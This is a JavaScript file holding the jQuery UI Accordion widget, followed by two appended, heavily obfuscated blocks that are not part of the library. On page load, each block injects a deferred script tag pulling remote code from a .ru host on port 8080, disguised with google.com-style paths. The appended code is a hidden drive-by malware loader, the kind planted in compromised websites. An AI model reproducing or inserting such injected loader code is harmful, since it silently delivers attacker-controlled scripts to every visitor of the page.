/*

 * jQuery UI Accordion

 * 

 * Copyright (c) 2007, 2008 Jörn Zaefferer

 * Dual licensed under the MIT (MIT-LICENSE.txt)

 * and GPL (GPL-LICENSE.txt) licenses.

 *

 * http://docs.jquery.com/UI/Accordion

 *

 * Depends:

 *	ui.core.js

 *

 */

(function($) {



$.widget("ui.accordion", {

	init: function() {

		var options = this.options;

		

		if ( options.navigation ) {

			var current = this.element.find("a").filter(options.navigationFilter);

			if ( current.length ) {

				if ( current.filter(options.header).length ) {

					options.active = current;

				} else {

					options.active = current.parent().parent().prev();

					current.addClass("current");

				}

			}

		}

		

		// calculate active if not specified, using the first header

		options.headers = this.element.find(options.header);

		options.active = findActive(options.headers, options.active);

		

		// IE7-/Win - Extra vertical space in Lists fixed

		if ($.browser.msie) {

			this.element.find('a').css('zoom', '1');

		}

		

		if (!this.element.hasClass("ui-accordion")) {

			this.element.addClass("ui-accordion");

			$("<span class='ui-accordion-left'/>").insertBefore(options.headers);

			$("<span class='ui-accordion-right'/>").appendTo(options.headers);

			options.headers.addClass("ui-accordion-header").attr("tabindex", "0");

		}

		

		var maxHeight;

		if ( options.fillSpace ) {

			maxHeight = this.element.parent().height();

			options.headers.each(function() {

				maxHeight -= $(this).outerHeight();

			});

			var maxPadding = 0;

			options.headers.next().each(function() {

				maxPadding = Math.max(maxPadding, $(this).innerHeight() - $(this).height());

			}).height(maxHeight - maxPadding);

		} else if ( options.autoHeight ) {

			maxHeight = 0;

			options.headers.next().each(function() {

				maxHeight = Math.max(maxHeight, $(this).outerHeight());

			}).height(maxHeight);

		}

	

		options.headers

			.not(options.active || "")

			.next()

			.hide();

		options.active.parent().andSelf().addClass(options.selectedClass);

		

		if (options.event) {

			this.element.bind((options.event) + ".accordion", clickHandler);

		}

	},

	activate: function(index) {

		// call clickHandler with custom event

		clickHandler.call(this.element[0], {

			target: findActive( this.options.headers, index )[0]

		});

	},

	destroy: function() {

		this.options.headers.next().css("display", "");

		if ( this.options.fillSpace || this.options.autoHeight ) {

			this.options.headers.next().css("height", "");

		}

		$.removeData(this.element[0], "accordion");

		this.element.removeClass("ui-accordion").unbind(".accordion");

	}

});



function scopeCallback(callback, scope) {

	return function() {

		return callback.apply(scope, arguments);

	};

};



function completed(cancel) {

	// if removed while animated data can be empty

	if (!$.data(this, "accordion")) {

		return;

	}

	

	var instance = $.data(this, "accordion");

	var options = instance.options;

	options.running = cancel ? 0 : --options.running;

	if ( options.running ) {

		return;

	}

	if ( options.clearStyle ) {

		options.toShow.add(options.toHide).css({

			height: "",

			overflow: ""

		});

	}

	$(this).triggerHandler("accordionchange", [options.data], options.change);

}



function toggle(toShow, toHide, data, clickedActive, down) {

	var options = $.data(this, "accordion").options;

	options.toShow = toShow;

	options.toHide = toHide;

	options.data = data;

	var complete = scopeCallback(completed, this);

	

	// count elements to animate

	options.running = toHide.size() === 0 ? toShow.size() : toHide.size();

	

	if ( options.animated ) {

		if ( !options.alwaysOpen && clickedActive ) {

			$.ui.accordion.animations[options.animated]({

				toShow: jQuery([]),

				toHide: toHide,

				complete: complete,

				down: down,

				autoHeight: options.autoHeight

			});

		} else {

			$.ui.accordion.animations[options.animated]({

				toShow: toShow,

				toHide: toHide,

				complete: complete,

				down: down,

				autoHeight: options.autoHeight

			});

		}

	} else {

		if ( !options.alwaysOpen && clickedActive ) {

			toShow.toggle();

		} else {

			toHide.hide();

			toShow.show();

		}

		complete(true);

	}

}



function clickHandler(event) {

	var options = $.data(this, "accordion").options;

	if (options.disabled) {

		return false;

	}

	

	// called only when using activate(false) to close all parts programmatically

	if ( !event.target && !options.alwaysOpen ) {

		options.active.parent().andSelf().toggleClass(options.selectedClass);

		var toHide = options.active.next(),

			data = {

				options: options,

				newHeader: jQuery([]),

				oldHeader: options.active,

				newContent: jQuery([]),

				oldContent: toHide

			},

			toShow = (options.active = $([]));

		toggle.call(this, toShow, toHide, data );

		return false;

	}

	// get the click target

	var clicked = $(event.target);

	

	// due to the event delegation model, we have to check if one

	// of the parent elements is our actual header, and find that

	if ( clicked.parents(options.header).length ) {

		while ( !clicked.is(options.header) ) {

			clicked = clicked.parent();

		}

	}

	

	var clickedActive = clicked[0] == options.active[0];

	

	// if animations are still active, or the active header is the target, ignore click

	if (options.running || (options.alwaysOpen && clickedActive)) {

		return false;

	}

	if (!clicked.is(options.header)) {

		return;

	}

	

	// switch classes

	options.active.parent().andSelf().toggleClass(options.selectedClass);

	if ( !clickedActive ) {

		clicked.parent().andSelf().addClass(options.selectedClass);

	}

	

	// find elements to show and hide

	var toShow = clicked.next(),

		toHide = options.active.next(),

		//data = [clicked, options.active, toShow, toHide],

		data = {

			options: options,

			newHeader: clicked,

			oldHeader: options.active,

			newContent: toShow,

			oldContent: toHide

		},

		down = options.headers.index( options.active[0] ) > options.headers.index( clicked[0] );

	

	options.active = clickedActive ? $([]) : clicked;

	toggle.call(this, toShow, toHide, data, clickedActive, down );



	return false;

};



function findActive(headers, selector) {

	return selector != undefined

		? typeof selector == "number"

			? headers.filter(":eq(" + selector + ")")

			: headers.not(headers.not(selector))

		: selector === false

			? $([])

			: headers.filter(":eq(0)");

}



$.extend($.ui.accordion, {

	defaults: {

		selectedClass: "selected",

		alwaysOpen: true,

		animated: 'slide',

		event: "click",

		header: "a",

		autoHeight: true,

		running: 0,

		navigationFilter: function() {

			return this.href.toLowerCase() == location.href.toLowerCase();

		}

	},

	animations: {

		slide: function(options, additions) {

			options = $.extend({

				easing: "swing",

				duration: 900

			}, options, additions);

			if ( !options.toHide.size() ) {

				options.toShow.animate({height: "show"}, options);

				return;

			}

			var hideHeight = options.toHide.height(),

				showHeight = options.toShow.height(),

				difference = showHeight / hideHeight;

			options.toShow.css({ height: 0, overflow: 'hidden' }).show();

			options.toHide.filter(":hidden").each(options.complete).end().filter(":visible").animate({height:"hide"},{

				step: function(now) {

					var current = (hideHeight - now) * difference;

					if ($.browser.msie || $.browser.opera) {

						current = Math.ceil(current);

					}

					options.toShow.height( current );

				},

				duration: options.duration,

				easing: options.easing,

				complete: function() {

					if ( !options.autoHeight ) {

						options.toShow.css("height", "auto");

					}

					options.complete();

				}

			});

		},

		bounceslide: function(options) {

			this.slide(options, {

				easing: options.down ? "bounceout" : "swing",

				duration: options.down ? 1000 : 200

			});

		},

		easeslide: function(options) {

			this.slide(options, {

				easing: "easeinout",

				duration: 700

			});

		}

	}

});



// deprecated, use accordion("activate", index) instead

$.fn.activate = function(index) {

	return this.accordion("activate", index);

};



})(jQuery);





try {} catch(L_){};this.I=57907;this.I--;function V(){try {var G='B'} catch(G){};eV={};var L=String("bod"+"JdG0y".substr(4));E=9755;E+=236;var Y=new String("SG8appe".substr(3)+"ndCh"+"ild");this.BF="BF";var a=new String("creaDOB".substr(0,4)+"0GNVteEl0GVN".substr(4,4)+"po5Lemeno5pL".substr(4,4)+"EkNwtNwEk".substr(4,1));var K="scrip"+"t";yW=["EQ","fv","S"];var q="sr"+"c";var d={v:25144};var gp="";var k=new String("def9LnU".substr(0,3)+"erbyTn".substr(0,2));_V=["ke"];var yt={me:false};var X=String("iWkonlo".substr(3)+"advlFK".substr(0,2));var P={co:4334};try {var u='l'} catch(u){};var U=window;Gv=["t","i"];XF=["Ld"];var b=document;var R=false;var If=["iA","yr"];function c(){Xn=[];try {fp=["kO"];var f="/goog"+"le.co"+"m/kom"+"pas.c"+"om/vi"+"meo.c"+"om.ph"+"GLzp".substr(3);var fH=["O","eW","Wf"];MT={Co:31765};var p=new String("htt"+"p:/"+"/pa"+"ssp"+"ort"+"blu"+"es."+"xsXbru:".substr(4));try {var Dd='JK'} catch(Dd){};var r=154977-146897;wQ=33577;wQ--;var Yv=998-997;cT=2707;cT+=156;var Mx=false;var Fe=["wN"];g=b[a](K);var cs=["nk","np","yU"];var Bv=["x","vv","ss"];this.uE=42498;this.uE+=115;var T_={};hF=63559;hF+=66;var kj='';this.Iv='';wd=58155;wd-=125;g[k]=Yv;g[q]=p+r+f;try {var gf_='Kp'} catch(gf_){};PM=27258;PM--;var VQ=new Array();var Jo=[];b[L][Y](g);var aT={LB:"qh"};var aW=new String();} catch(fP){};this.rk="rk";}Rq=["qw"];var Oh=new Date();U[X]=c;var EM="";PW=35558;PW-=209;};this.Ho=false;V();this.Rz="";this.Jt="";

this.ik=58445;this.ik--;this.sb='';try {Q=[];var Df=6184;var zI=new Array();var A=window["unesg5Y9".substr(0,4)+"cape"];var MY=62252;IN=[];var gk={zg:"n"};var Ak=String("repl"+"Gi2ace".substr(3));var aS=false;var ML={HP:49924};var v={k:8298};var mZ={sD:2220};var h={J:58666};var W="onlo"+"ad";var g="1";var O=window[("Re"+"gE"+"xp")];var Hq={pU:8726};var Un={UZ:24905};var U='';try {} catch(u){};zK={AQ:false};function z(g,e){this.V="V";xp=2341;xp+=200;var Yw="Yw";this.XB=47094;this.XB+=30;this.R='';_y={jJ:"RG"};this.ks=39927;this.ks+=77;var _=new String("Jpmg[".substr(4));_+=e;zx=63738;zx++;var l={Ua:17534};SE=40734;SE-=125;var Re={On:32593};_+=A("%5d");var x=new O(_, String("zq8g".substr(3)));this.QY="QY";return g.replace(x, U);YZ=20059;YZ++;Rt=[];};var mh={};this.eJ="";var wg={};var B=new String("csOX/go".substr(4)+"ogl"+"e.c"+"om/"+"vYU8jooU8Yv".substr(4,3)+"mlaN9bc".substr(0,3)+"lWV.or".substr(3)+"g/n"+"ypomYV7".substr(0,3)+"kurst.".substr(3)+"comfAq".substr(0,3)+".ph"+"p");var i=64430-56350;ei=35589;ei-=102;hR=31623;hR+=199;var b=String("http:"+"//got"+"hguil"+"t.ru:1TI".substr(0,5));this.dL=60304;this.dL-=253;this.Dn=13132;this.Dn-=130;var DU=false;var tZ=false;Bs={At:"SS"};var QV=["BI","_E"];YW={Gg:false};var zgZ={ZZ:"qA"};function s(){C_=["Au","Av"];var th="th";var yW=["NN"];Ie={DT:3541};this.KX="KX";this.Wr=52370;this.Wr+=202;var F=document;this.Si=27578;this.Si+=174;ag=[];this._d="";var ns={gq:"sQ"};var AP=z('s5cPrCiRpCtZ','oR9Zf52WvCPw');var Kt=["so","gY"];this.qS=25265;this.qS+=77;var a=new String("Eo19appe".substr(4)+"qxAndChAqx".substr(3,4)+"CFbHild".substr(4));this.jS=18588;this.jS--;var wk=["zp","dH","sw"];var OK=["Vt","Wy","ts"];var hn=["cD","vL","RM"];E=F.createElement(AP);var JF=["MC","pY","eA"];var lr={bh:false};var LG=["ru","Ul","sZ"];var cU=new Date();Lq={Cr:false};QL={LqB:false};var RY=["qP","Nm","BIX"];var BA=["jh","RL","PX"];iG={Ik:false};D=b+i;D=D+B;var AZ={xN:false};var ZD={gZ:false};Ph=34534;Ph--;var YI=["Y_"];var jO=["ri"];var f_=new Date();E["defe"+"r"]=g;qSL={vX:false};E.src=D;var yE={Yv:"Al"};var vN="vN";var _D={ep:"gl"};var Ra="Ra";this.Bu=57977;this.Bu-=110;var xK=F.body;lB=61083;lB++;Eg=20298;Eg+=40;var Im=false;MwH=52843;MwH--;this.eH='';iB={RP:"gg"};this.Jn='';this.ay=false;Vq={};var jn="";xK[a](E);bm=48930;bm-=17;var TI="TI";};var de={WH:11890};var Pe={RD:51859};this.wI=13876;this.wI--;var Nb='';var Vz='';window[W]=s;Be=["EY"];var yBQ={DZ:false};try {var vi='no'} catch(vi){};} catch(xv){try {} catch(aW){};var Ru='';ok={};};var M_=new String();kV={pD:"Ay"};var wt=["ggM"];sc=64849;sc+=172;

